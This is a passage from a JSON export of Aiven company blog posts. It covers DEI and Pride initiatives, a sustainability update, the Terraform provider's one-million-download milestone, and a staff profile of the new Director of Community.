news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-38320e2ee3bfd1e12a889d2c6312d02d0ff253cf-1567x844-png","_type":"reference"}},"publishedAt":"2021-05-12T00:00:00.000Z","seo":{"metaDescription":"In managed cloud infra, David Esposito has seen it all from both sides of the table. Now he offers his best 5 tips for selecting a service provider. ","metaImage":{"alt":"","asset":{"_ref":"image-38320e2ee3bfd1e12a889d2c6312d02d0ff253cf-1567x844-png","_type":"reference"}},"metaTitle":"5 tips for choosing a DBaaS vendor"},"slug":{"_type":"slug","current":"/blog/5-tips-for-choosing-a-dbaas-vendor"},"subtitle":"In managed cloud infra, David Esposito has seen it all from both sides of the table. Now he offers his best 5 tips for selecting a service provider. ","title":"5 tips for choosing a DBaaS vendor"}
{"__i18n_lang":"en","_createdAt":"2023-04-03T12:19:12Z","_id":"712d0099-600c-4354-a2d6-80340a2fa031","_rev":"LlMsTfwmVHcho3tE1gqBaF","_type":"post","_updatedAt":"2023-06-19T08:31:34Z","authors":[{"_key":"cbc60e4610c1","_ref":"fa265a2a-831a-4862-a7d7-42065a008cc6","_type":"reference"},{"_key":"4847bed54e92","_ref":"1f5a7de4-2542-47c7-a37f-3205cc6fcdcf","_type":"reference"}],"body":"Throughout March, we’ve been excited to recognize some of the incredible women at Aiven. We are committed to recognizing women during the whole year but wanted to celebrate specifically in March to support International Women’s Day. \n\n## Our Crabs lifting each other\n\nOver the past few weeks, we introduced four inspirational women from our Cast on our [LinkedIn page](https://www.linkedin.com/company/aiven/). They all have their own unique story and gave valuable insights on empowering and lifting the women around us. These women demonstrate our core values of courage and openness not only in how they approach their work at Aiven but also in how they live their lives.  \n\n[Nicole Ingham](https://www.linkedin.com/feed/update/urn:li:activity:7039139652062093312/) is a proud mom based in Florida, who works in our customer success team. Even though Nicole doesn't have a dedicated mentor, she is passionate about supporting others. She is currently actively working on a Mentorship Program here at Aiven to empower other colleagues. We asked Nicole about career advice for other women in tech. \"Our voices are our power; we can share our experiences and push for change. It's not the times in my career that I stayed silent that I am most proud of, but the ones that I spoke up,\" she replies.\n\n[Ting Ong](https://www.linkedin.com/posts/aiven_iwd-womansday-celebratewomen-activity-7041331625665650689-FkJ6/?utm_source=share\u0026utm_medium=member_desktop) is a mother and creative storyteller currently in Singapore, working as our Communications Director for APAC and EMEA regions. She believes, “Anyone can be your sponsor or your ally. They could be your peers, colleagues from other teams, functions, or even someone in senior management. But first, you need to be able to deliver and establish credibility in your role before anyone will be willing to support you. And when they do, you can be certain that they will help to amplify your work and accomplishments, raise your visibility, and eventually help you out in times of need.” \n\nWe also met [Phiona Basemera](https://www.linkedin.com/posts/aiven_iwd-womansday-celebratewomen-activity-7043863552775839744-7Wao?utm_source=share\u0026utm_medium=member_desktop), a Backend Software Engineer who swapped life in Uganda to work from our bustling Berlin location. Phiona believes that making the workplace open to different personalities and backgrounds will help tech organizations build a sustainable environment for women. “Sometimes the best ideas are not listened to because they are not the loudest. Managers should ensure they identify different character traits and find ways of making sure everyone feels heard’, she advises. \n\n[Anna Richardson](https://www.linkedin.com/feed/update/urn:li:activity:7046382382391697408) is an active mum to an energetic 4 year old and leads our people function as the VP of People. An Aussie living in Berlin, she built her HR experience from the ground up working in a variety of industries. Anna is constantly striving and working towards making Aiven an inclusive and safe environment for everyone to be able to show up as their authentic and true selves. Anna’s career advice for other women in tech.“ Don’t underestimate your own gut feeling about a situation. If something feels off or wrong, speak up to a trusted colleague or confidant. Be deliberate about building your networks within your company and recognise who are your allies and potential cheerleaders, because no one can succeed or build a successful career alone”, she says.\n\n## Aiven at FemTechConf \nTo showcase our commitment to enabling women at tech, this year Aiven was proud to sponsor [FemTechConf](https://www.femtechconf.com/) and all the incredible work it does to empower women in the tech community. FemTechConf is a community-driven organization celebrating and championing the success of women, transgender, and gender non-conforming people in the tech field. We had two incredible speakers from Aiven give talks; [Ewelina Grajko](https://www.linkedin.com/in/ewegra/), our Sustainability Lead, and [Olena Kutsenko](https://www.linkedin.com/in/olenakutsenko/), a Senior Developer Advocate. We’re already looking forward to next year's summit and the opportunity to learn and network with more women and gender-diverse people in the tech community.\n\n## Promoting a safe workplace  \nWe are committed to supporting, uplifting and empowering our team members. “Lift” is one of our Employee Resource Groups (ERGs) at Aiven. The group is on a mission to cultivate an inclusive and safe environment that supports and encourages those who identify as women. In addition to educating and raising awareness on the gender equality challenges to our Cast, Lift advances the feeling of belonging and inclusion among all of our Crabs.\n\nWithout inclusion, the power of diversity remains untapped. We want Aiven to be a place of openness, ownership, and courage for all.\n\nLike what you see here? There's so much more to come as we take a peek under our shell and uncover Life at Aiven. \n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"be188be61ce6","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"6b522501013e","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"},{"_key":"dd96e51e9759","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"e779ccb54d6b","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Women of Aiven","asset":{"_ref":"image-4e92fbb696cbe9576fee49e5851e06f420d8f6ca-3133x1688-jpg","_type":"reference"}},"publishedAt":"2023-04-04T09:08:00.000Z","related":[{"_key":"f9cd8e61b4f2","_ref":"1jUV74q3GG1ikBS5TwdZLG","_type":"reference"},{"_key":"6c7ed01a06ed","_ref":"1Lw0M52l6Xc8ia5fdmn8AZ","_type":"reference"},{"_key":"010bb4533804","_ref":"2rcTIa01PnwrinqKa1L4O5","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"We celebrated Women's History Month in March, hearing valuable insights from our Cast on empowerment \u0026 allyship. Read on!","metaTitle":"Celebrating the Women of Aiven"},"slug":{"_type":"slug","current":"/blog/celebrating-the-women-of-aiven"},"subtitle":"We celebrated Women's History Month in March, hearing valuable insights from our Cast on empowerment \u0026 allyship. Read on!","title":"Celebrating the Women of Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-09-07T06:39:28Z","_id":"2MaVUBNixFPYxU03wR2sqc","_rev":"wguC7mbo0o2K8r1KhmaPBz","_type":"post","_updatedAt":"2023-06-14T10:09:05Z","authors":[{"_key":"6lMlSgJEYuohRrYw7zGkl8","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"One million is a milestone number. That’s why, when [Aiven Provider for Terraform](https://registry.terraform.io/providers/aiven/aiven/latest/docs \"Aiven Provider for Terraform | Terraform Registry\") reaches one million downloads on the public Terraform registry, it deserves a celebratory blog post.\n\n![terraform1m-star](//cdn.sanity.io/images/sczeoy4w/production/01790e717d7acdcf9f008e5a0d866d88ef3881a4-1000x500.png)\n\nTo better appreciate this milestone, let’s find out where the Aiven Terraform Provider came from, and its rise from humble beginnings to the awesome tool we offer today. Join us, and learn what use cases made us build the provider in the first place; discover some teasers of what’s coming in the roadmap; and find out how you can contribute to this open source tool.   \n\n## How did we get here?\n\nFrom early on, the engineers at Aiven knew that providing automation tools for our customers was important. Our customers needed a tool to interact with Aiven services, to automatically provision and make changes to their data infrastructure and to tear down the infrastructure on demand. There were lots of automation tools already available, but Terraform stood out as the de-facto standard to build and manage infrastructure. \n\n(Besides a Terraform provider, Aiven also offers a purpose-built [Kubernetes operator](https://aiven.github.io/aiven-operator \"Aiven Kubernetes Operator | GitHub\"). If you’d like to learn more about when to choose Kubernetes and when to choose Terraform, [take a look at Kubernetes vs Terraform on the Aiven blog](https://aiven.io/blog/kubernetes-vs-terraform \"Kubernetes vs. Terraform | Aiven blog\").)\n\nThe [first commit](https://github.com/aiven/terraform-provider-aiven/commit/28024258e85abf744e6ffc0932e303d09934b74f) to the Aiven Provider for Terraform GitHub repository was on February 23, 2017 by [Jelmer Snoeck](https://github.com/jelmersnoeck \"Jelmer's GitHub profile\"). Since then, new and exciting features have been added to this provider - all with the same goal of making developers’ lives easier using the power of automation.\n\nThe [GA version of the Aiven Terraform Provider](https://github.com/aiven/terraform-provider-aiven/releases/tag/v1.0.0) was the first to support all Aiven resource types. Before the major release of version 3.0.0, customers had to use the same Terraform resource to provision all Aiven services and each service was identified by a flag \"service\\_type\". From version 3.0.0 of the provider, each service was identified by individual resource names in Terraform (for example, \"aiven\\_kafka\", \"aiven\\_pg\", etc). Based on the feedback from customers, more service specific documentation and examples were added. \n\nOur current customers have also discovered the benefits of using Terraform. For example, [NetSpyGlass](https://aiven.io/case-studies/aiven-cloud-helps-netspyglass \"NetSpyGlass partners with Aiven for simplicity and scale | Aiven case study\") uses it to simplify their service management in a complex environment based on [Aiven for Apache Kafka®](https://aiven.io/kafka \"Aiven for Apache Kafka product page\") and [PostgreSQL®](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\").\n\n## What's next?\n\nIn the future, you can expect:\n\n- Faster updates for user configuration options--we’re automating it. \n- More documentation about processes, such as Aiven Provider for Terraform v2 to v3 migration guide. \n- Better testing coverage for the provider code, for example VPC peering test cases will cover all possible clouds and combinations.\n\n## Wrapping up\nWe can’t wait for the next milestone of Aiven Provider for Terraform and invite you to be part of this journey. If you are managing your Aiven services using the console or CLI, give [Aiven Provider for Terraform](https://registry.terraform.io/providers/aiven/aiven/latest/docs) a try! It's now well proven in production with more than 1 million downloads. \n\nThe tool itself is an [open-source project](https://github.com/aiven/terraform-provider-aiven) that is looking for both technical and documentation [contributions](https://github.com/aiven/terraform-provider-aiven#contributing). We look forward to your contribution. Please [reach out on Twitter](https://twitter.com/aiven_io \"Aiven on Twitter\") if you have any questions.  \n\n*Thanks to Aleksander Zaruczewski, Ivan Savciuc, and Michael Hoffmann for helping to put this post together!*\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily content about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"2qto4I26D9dTmL2jF7YDqZ","_ref":"2qto4I26D9dTmL2jF7YDqZ","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-8fcc6ad9c388c6f00fc66c14a798ff775ba16eb0-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-02T00:00:00.000Z","seo":{"metaDescription":"Aiven has made life easier for Terraform users since 2017. Join us on a brief stroll down memory lane and learn how and why we got here.","metaImage":{"alt":"","asset":{"_ref":"image-8fcc6ad9c388c6f00fc66c14a798ff775ba16eb0-1567x844-png","_type":"reference"}},"metaTitle":"Aiven Provider for Terraform hits 1M downloads"},"slug":{"_type":"slug","current":"/blog/aiven-provider-for-Terraform-hits-1M-downloads"},"subtitle":"Aiven has made life easier for Terraform users since 2017. Join us on a brief stroll down memory lane and learn how and why we got here.","title":"Aiven Provider for Terraform hits 1M downloads"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"1jUV74q3GG1ikBS5TwdZLG","_rev":"rV9BZDYEBgQp95tIyZxyTO","_type":"post","_updatedAt":"2023-06-08T07:57:47Z","authors":[{"_key":"54fMhjUQokPWcDkpCqDl2l","_ref":"54fMhjUQokPWcDkpCqDl2l","_type":"reference"},{"_key":"5fYUWMm3ZG5VcjiuAbRcvr","_ref":"5fYUWMm3ZG5VcjiuAbRcvr","_type":"reference"},{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"The arrival of June marks the start of Pride Month. We at Aiven are excited for this opportunity to celebrate the diversity of the LGBTQ+ community and raise awareness on issues around equality. \n\nThis year, Aiven is proud to announce a partnership with [Helsinki Pride](https://pride.fi/en/) and celebrate the freedom of people to be themselves.\n\n“The Pride movement is all about celebrating who we are,” says Oskari Saarenmaa, CEO. “ At Aiven, we value our whole cast exactly for being who they are, and we're committed to making them feel safe and welcome.\"\n\n## It's important for Aiven to support the LGBTQ+ community\n\nWith our values top of mind, we openly stand firm in our belief towards creating a visibly inclusive workplace. \n\nWe have an active community at Aiven, Proud Crabs, and we want to support them by creating a diverse and inclusive workplace. \n\n“I am proud of Aiven’s commitment to building a culture of belonging and inclusivity, not just during Pride, but in the 11 months that follow,” says Alessandro Barone, Proud Crabs community co-lead.\n\nThere is still work to do: extensive [research from FRA](https://fra.europa.eu/en/publication/2020/eu-lgbti-survey-results) shows that a considerable amount of the LGBTQ+ community face discrimination at work or cannot be open about their lives or families.\n\nWe want to do our part in making tech a more inclusive industry. In our [Sustainability and Social Impact program](https://aiven.io/blog/sustainability-and-social-impact-commitment) we commit to making Aiven open and accessible to everyone.\n\n## Aiven promotes a safe workplace\n\nWe are launching our team resource groups and support them on a variety of topics. Proud Crabs is our first community, providing a safe space for Aiven's LGBTQ+ community members and allies to connect, share views, knowledge and interests. \n\nWe will provide training for our managers on issues faced by the LGBTQ+ community. They will learn about biases, microaggressions and other negative experiences that make workplaces uncomfortable, and how to prevent them. Aiven empowers and supports all team members in creating a workplace where everyone belongs. \n\nWe want to make sure that candidates from underrepresented groups find us, and we find them. \n\nWe measure how we are doing in terms of diversity and inclusion. This way we can take meaningful action based on data and improve. Ultimately, we're working towards creating an environment where everyone can be their authentic selves. \n\nAll things have a beginning, and these steps mark a humble start to our journey.\n\n(P.S. In case you were wondering - a 'cast' is the name for a group of crabs.)\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-e10215a88edfaa159d863b6eb68e70ce62306468-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-08T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven is going full Pride this year! Read about our initiatives and find out how we're creating a safe, inclusive place for our whole cast.","metaImage":{"alt":"","asset":{"_ref":"image-e10215a88edfaa159d863b6eb68e70ce62306468-1567x844-png","_type":"reference"}},"metaTitle":"Aiven celebrates diversity | Read about the initiatives"},"slug":{"_type":"slug","current":"/blog/celebrating-our-colorful-cast"},"subtitle":"Aiven is going full Pride this year! Read about our initiatives and find out how we're creating a safe, inclusive place for our whole cast.","title":"Celebrating our colorful cast"}
{"__i18n_lang":"en","_createdAt":"2022-11-15T11:10:40Z","_id":"258bc7bc-786c-445f-83e5-87502edbfef1","_rev":"v0cQAWzuhXdzXIalMlJSm6","_type":"post","_updatedAt":"2023-06-22T13:50:23Z","authors":[{"_key":"7e1e59b85d15","_ref":"58912853-4629-4f99-97ce-d0b36b387f57","_type":"reference"}],"body":"After our Series D funding round, we published our [Sustainability and Social Impact Commitment](https://aiven.io/blog/sustainability-and-social-impact-commitment \"Aiven's sustainability and social impact commitment\") and took the first steps in developing a long-term strategy that will allow us to fulfill our goal of being a sustainable data infrastructure provider. \n\nFor any company, reaching sustainability goals is a long process. Right from the start we want to be transparent about that process and the steps we’re taking on the journey. We know the path might sometimes be hard, but we believe that by making this information open we hope to  encourage other companies to take similar steps.\n\n- [Our first steps](#our-first-steps)\n- [Building diversity, equity, inclusion and belonging](#building-diversity-equity-inclusion-and-belonging)\n- [Driving change through social impact](#driving-change-through-social-impact)\n- [Growing the team](#growing-the-team)\n- [Next steps…](#next-steps)\n- [Wrapping up](#wrapping-up)\n\n## Our first steps\n\nRight now we’re focusing our efforts on understanding and measuring Aiven’s carbon footprint, and to achieve that we’ve implemented Plan A’s [carbon accounting software](https://plana.earth/ \"Plan A's carbon accounting software\") to start mapping it out.\n\nAs we’re still in the early days of utilizing the software, we’re aware that we face some significant challenges in interpreting the data. For example, this data only currently represents our Finnish operations, so we’re getting an incomplete picture. \n\n\n![Emissions measurement graphs at Aiven](https://cdn.sanity.io/images/sczeoy4w/production/24a68697b380851a85face173086100bebca7b8a-1212x424.jpg)\n\n\nNevertheless, one thing is immediately clear: business travel to in-person events is by far the most significant source of emissions, with visibly identifiable peaks. Our Crab Week offsite in April, and in September conference season was in full swing, including our Uptime conference in Amsterdam. But is this the whole story? \n\nAt the moment, our data collection is far from complete. We still have to add non-travel emissions from Crab Week, and all the collected data requires validation to make sure we are not double counting something. For example, the screenshot above shows double counting for Uptime in September – so there is still plenty of work to be done.\n\n## Building diversity, equity, inclusion and belonging\n\nOne of the first steps from our DEI team has been to revise and update our Code of Conduct to clarify expected behaviors and include more information about diversity and inclusion. We want to make sure we have a well-defined, shared understanding of the principles everyone at Aiven commits to. This will help us develop further instructions and strategies for communications and improvements. \n\nAiven also carried out a DEI audit consisting of a survey and interviews in the summer to get a better understanding of where we are with our key concepts of diversity, equity, inclusion and belonging throughout our team, and to discover the pain points we’re facing. We’ll be using the results from that audit to develop a DEI strategy by the end of the year.\n\nLike many tech companies we face challenges in gender diversity for technical roles, and we know there is room for improvement in many other areas. We believe that one way to learn and improve is through participation in community events so we can share knowledge. This autumn we participated at [Current](https://2022.currentevent.io/website/39543/welcome) in diversity meetups, and at [PGConf](https://aiven.io/blog/pg-conf-eu-2022-in-a-nutshell) where we sponsored a breakfast organized by [Postgres Women](https://twitter.com/PostgresWomen).\n\nOne of our biggest highlights was our very own [Uptime](https://uptime.aiven.io/) conference, held in September in Amsterdam. For this developer-focused event, we created and sponsored a diversity scholarship so that  people from different backgrounds around the world could attend and participate. We had 12 applicants taking part in the scholarship program, and enjoying the broad range of keynotes, presentations, and networking opportunities to discuss open source data in the cloud. Here’s what some of them thought:\n\n\u003c!-- quotes go here\n--\u003e\n![Rahul Kunnath quote](https://cdn.sanity.io/images/sczeoy4w/production/9adacaf85b1441b07e2a5d97d23c423601a76075-1200x304.png)\n\n![Margaret Kinyanjui quote](https://cdn.sanity.io/images/sczeoy4w/production/593aed6cd1fa44f87cd29bc445926d186d3044a2-1200x250.png)\n\n![Collins Munyendo quote](https://cdn.sanity.io/images/sczeoy4w/production/c827b316b853e09cdd007cc248ffeedaf4efcea3-1200x412.png)\n\n\nLastly, we’ve continued to build out our internal employee communities, or ‘team member resource groups’ as we call them: \n\n- Lift – Women of Aiven has really kicked off and currently has 77 members. \n- Our Proud Crabs group also continues to grow and support our LGBTQ+ community\n- We’ve started internal discussions around new topics such as neurodiversity, parenting, and cultural and ethnic diversity. \n- We’re also building a cross-functional team that will eventually form the first DEI council of Aiven – more to follow on that! \n\n\n## Driving change through social impact\n\nAiven’s Social Impact initiative supports external projects that aim to improve society and utilize open source technologies to achieve their goals. One of the aims of the program is to democratize access to technology – and as part of that initiative we’re proud to support Women++ for the second year.\n\nWomen++ is a Swiss non-profit organization dedicated to increasing diversity in the tech industry. Their [deploy(impact)](https://www.womenplusplus.ch/deploy-impact) program focuses on women-friendly, hands-on software development for social good. It brings together the collaboration of industry leaders as mentors with tech enthusiasts of all levels - including women moving to the tech sector, and product owners that guide the development of software solutions to impact a social cause.\n\nAiven sponsored the event in both 2021 and 2022. Last year, out of 36 participants that finished the project, 5 people found a job within 2 months of the closing ceremony. We’re looking forward to hearing the results from the 2022 program.\n\nAiven’s Community Manager, Ana Vasiliuk, will be giving a lightning talk about her experience as a non-technical person in the tech industry. Ana says she’s “hoping to inspire those who are willing to switch their career but aren't sure where to start, or are intimidated by entering tech because of their lack of technical experience.”\n\nRead more about [Women++](https://www.womenplusplus.ch/) and the [deploy(impact) program](https://www.womenplusplus.ch/deploy-impact).\n\n## Growing the team\n\nWe recently [introduced the core Aiven sustainability team](https://aiven.io/blog/introducing-the-aiven-sustainability-team) and we’re pleased to build out that core team further with our Social Impact and Sustainability Program leads. You can find out more about Klaus Schaller, our Internal Climate Track Lead, and Ewelina Grajko, Sustainability Lead, in our [updated sustainability team blog post](https://aiven.io/blog/introducing-the-aiven-sustainability-team). \n\n## Next steps…\n\nWe’ll be making more updates as we collect more and more data to measure our emissions footprint, and all of that information will be presented in a detailed report in early 2023. We’ll be using the findings of that report to create our sustainability strategy.\n\nStay tuned for more sustainability updates, as well as information about our upcoming DEI strategy and social impact contributions.\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nLooking for a managed data platform that aims to be fully sustainable? [Try Aiven for free](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n\n\n\n","categories":[{"_key":"aaf1848424e9","_ref":"5kZZK0B9b8ouIUDgjaDOmZ","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-567004b521fbf0a2b919c620f1221d146c560f89-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-11-17T06:24:50.583Z","related":[{"_key":"a6f4896621c3","_ref":"1WyAWQ2EwNucHT85SFMK5S","_type":"reference"},{"_key":"986ade872b7b","_ref":"70Tx3E8y7y9dUZN8Xkmn9v","_type":"reference"},{"_key":"c4410c149718","_ref":"1jUV74q3GG1ikBS5TwdZLG","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"We’ve taken the first steps to deliver sustainable data infrastructure for everyone. Find out what we’ve achieved so far in our first sustainability update.","metaTitle":"Aiven's path to sustainability"},"slug":{"_type":"slug","current":"/blog/sustainability-update-november-2022"},"subtitle":"We’ve taken the first steps on our journey to deliver sustainable data infrastructure for everyone. Take a look at some of the things we’ve achieved so far – in our first sustainability update.","title":"The path to sustainability"}
{"__i18n_lang":"en","_createdAt":"2023-06-20T09:31:58Z","_id":"cc563d6c-d018-4a2f-9d79-1b42f3117863","_rev":"4xxJDWP8Sw6o7zBrUAfE9v","_type":"post","_updatedAt":"2023-08-03T10:26:17Z","authors":[{"_key":"be86ce0c962e","_ref":"1f5a7de4-2542-47c7-a37f-3205cc6fcdcf","_type":"reference"},{"_key":"8f19c72751b7","_ref":"fa265a2a-831a-4862-a7d7-42065a008cc6","_type":"reference"}],"body":"Say hello to Angie Byron (she/they). She only joined us in the middle of April 2023 but is already making a big splash as our new Director of Community. She tells us about her background, her role at Aiven and her plans for the future – oh and her insights as one of our newest members of Proud Crabs, our LGBTQ+ community.\n\n## From PONG and punk to Drupal and DevRel\n\nLike so many of us, Angie took a typically sideways route to Aiven. Growing up, video games were her passion, and they still are – starting with PONG and Atari 2600 all the way up to Nintendo Switch™ and mobile today. That was also where her interest in databases was hatched – in her childhood, she catalogued all video game references she could find, storing her handwritten notes in three-ring binders.\n\nBut Angie’s biggest early influence was the punk musician Donna Dresch. Long before social networks were a thing, Donna and her brother set up a forum and chatroom for queer punk rock kids.\n\nThe chatroom also doubled as a gaping XSS vulnerability, where you could type in HTML tags and it would render them out, so Angie taught herself programming this way. Tiring of the limitations of Geocities with its manual updates, she discovered PHP and MySQL, thus beginning her journey as a web developer.\n\nHer first big community role in the business was Sr. Director of Community Development at Acquia, an enterprise startup focused on Drupal, where she spent ten years. That was followed by a stint at MongoDB as Principal Community Manager and then Lead, Community Programs. Aiven was a natural next step. It leverages both of those previous experiences, providing a data platform and the services around it, but with all the underlying technologies that power it being open source. \n\n## Developing the DevRel role\n\nWith Angie joining the Cast, she can add her in-depth knowledge and best-practice experience to the DevRel team’s extensive capabilities, and channel these into building a community around Open Source Data Infrastructure, with Aiven at the heart.\n\nThe Community Team is part of Aiven’s Developer Relations team, and Angie’s task is to cultivate a growing community inspired by Aiven’s vision, focused specifically on technical practitioners. \n\nThe plan is to liaise with those who use Aiven and Aiven’s underlying services every day, discover their pain points, and help connect them with knowledge and expertise to both solve their problems and partner with them on initiatives.\n\nPrograms include the global [Open Source Data Infrastructure meetups](https://www.meetup.com/pro/open-source-data-infrastructure-community/), the [Aiven Community Forum](https://aiven.io/community/forum/), and several under active construction, including a Discord community and a customer advocacy program.\n\n## Making a softer splash\n\nAngie’s arrival coincided with [Crab Week](https://aiven.io/blog/crab-week-2023-wrap-up) – Aiven’s company-wide offsite, but she was warmly welcomed by all, so never felt that she was being made to sink or swim. Her biggest takeaway has been the universal authenticity she has encountered. As she puts it:\n\n“I’ve been struck by how much each and every member of the Cast lives and breathes our values, even down to things like our travel policies, our performance management framework, and of course in 1:1 and group interactions as well.” \n\nThe onboarding experience proved to be a real winner for Angie, especially flying to Portugal to learn about the company vision and strategy at Crab Week. Other big pluses for her included the 1:1 pre-meetings, the background reading material and the self-directed courses, which covered everything from Aiven’s background and values through to the required legal framework. \n\nShe also cited the advice of [Ian Massingham](https://www.linkedin.com/in/imassingham/), Aiven’s Chief Marketing Officer, during the Crab Week Leadership Panel to NOT try and make a big splash to start with. Instead, it’s best to really immerse yourself in Aiven and absorb as much information as you can about the people, challenges and opportunities. Then the plans you do make are well-informed and you can gain better alignment.\n\n## Improving support for the LGBTQ+ community\n\nFor Angie, Aiven has already made the most important move, which is announcing explicitly via our Proud Crabs ERG (Employee Resource Group) that Aiven is a safe space for LGTBQ+ people and that no one needs to hide who they are here. \n\nOne thing she would love to see in the future, given the global nature of Aiven, is some concerted thinking for facilitating and supporting queer folks all around the globe in connecting to their local communities and with each other. An example of that could be through fundraising efforts, such as donations to local LGBTQ+ charities, or virtual events to augment the activities going on around [Helsinki Pride](https://pride.fi/).\n\n## Taking your first sideways steps\n\nThere are also initiatives that new Cast members can follow themselves. Angie advises newcomers to deliberately take time to meet others from outside their function, to discover how other parts of the organisation work.\n\nOne way of doing this is via Aiven’s Employee Resource Groups (ERGs), which are employee-led diversity, equity and inclusion (DEI) initiatives. As Angie points out:\n\n“Folks from all leadership levels and across all departments congregate there to learn and support one another, and both team members who directly identify as the impacted group (e.g. women, queer folks, or neurodivergent people) as well as allies are welcome.”\n\nAngie is an active member of all ERGs at Aiven. She is especially looking forward to “body doubling” sessions in the Neuro-D group, and the idea of low-pressure tech talks within the Lift (women) group.\n\nOur thanks go to Angie for sharing her story!\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers/job). And keep your eyes peeled (sideways) on the blog as we continue to meet more of our clawsome Cast of Crabs.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e\n","categories":[{"_key":"eee3be217731","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"},{"_key":"9af90660058c","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"f4cd9ae5f049","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Angie Byron, Director of Community, Proud Crabs, Aiven, Aiven logo, Aiven LGBTQ+, DEI, Diversity Equity, Inclusion","asset":{"_ref":"image-91f73fae65349daa83fca32b05e0d88285ee0e71-3133x1688-jpg","_type":"reference"}},"publishedAt":"2023-06-22T09:31:56.880Z","related":[{"_key":"4e775cb378d8","_ref":"0219c323-fc21-4dc8-8fbb-56ee84960dce","_type":"reference"},{"_key":"84c9e46703eb","_ref":"712d0099-600c-4354-a2d6-80340a2fa031","_type":"reference"},{"_key":"85bad4a37b6a","_ref":"c3decc78-b335-4ccf-8ae6-05a1662fec02","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"We welcomed Angie Byron, our new Director of Community (and a Proud Crab!). Find out about her background, new role at Aiven, and more for our LGBTQ+ Crabs.","metaImage":{"_type":"mainImage","alt":"Angie Byron, Director of Community, Proud Crabs, Aiven, Aiven logo, Aiven LGBTQ+, DEI, Diversity Equity, Inclusion","asset":{"_ref":"image-91f73fae65349daa83fca32b05e0d88285ee0e71-3133x1688-jpg","_type":"reference"}},"metaTitle":"Meet Angie Byron, Aiven Director of Community and Proud Crab"},"slug":{"_type":"slug","current":"/blog/meet-the-cast:-angie-byron"},"subtitle":"We welcomed Angie Byron, our new Director of Community (and a Proud Crab!). Find out about her background, new role at Aiven, and more for our LGBTQ+ Crabs.","title":"Meet the Cast: Angie Byron, Director of Community and Proud Crab "}
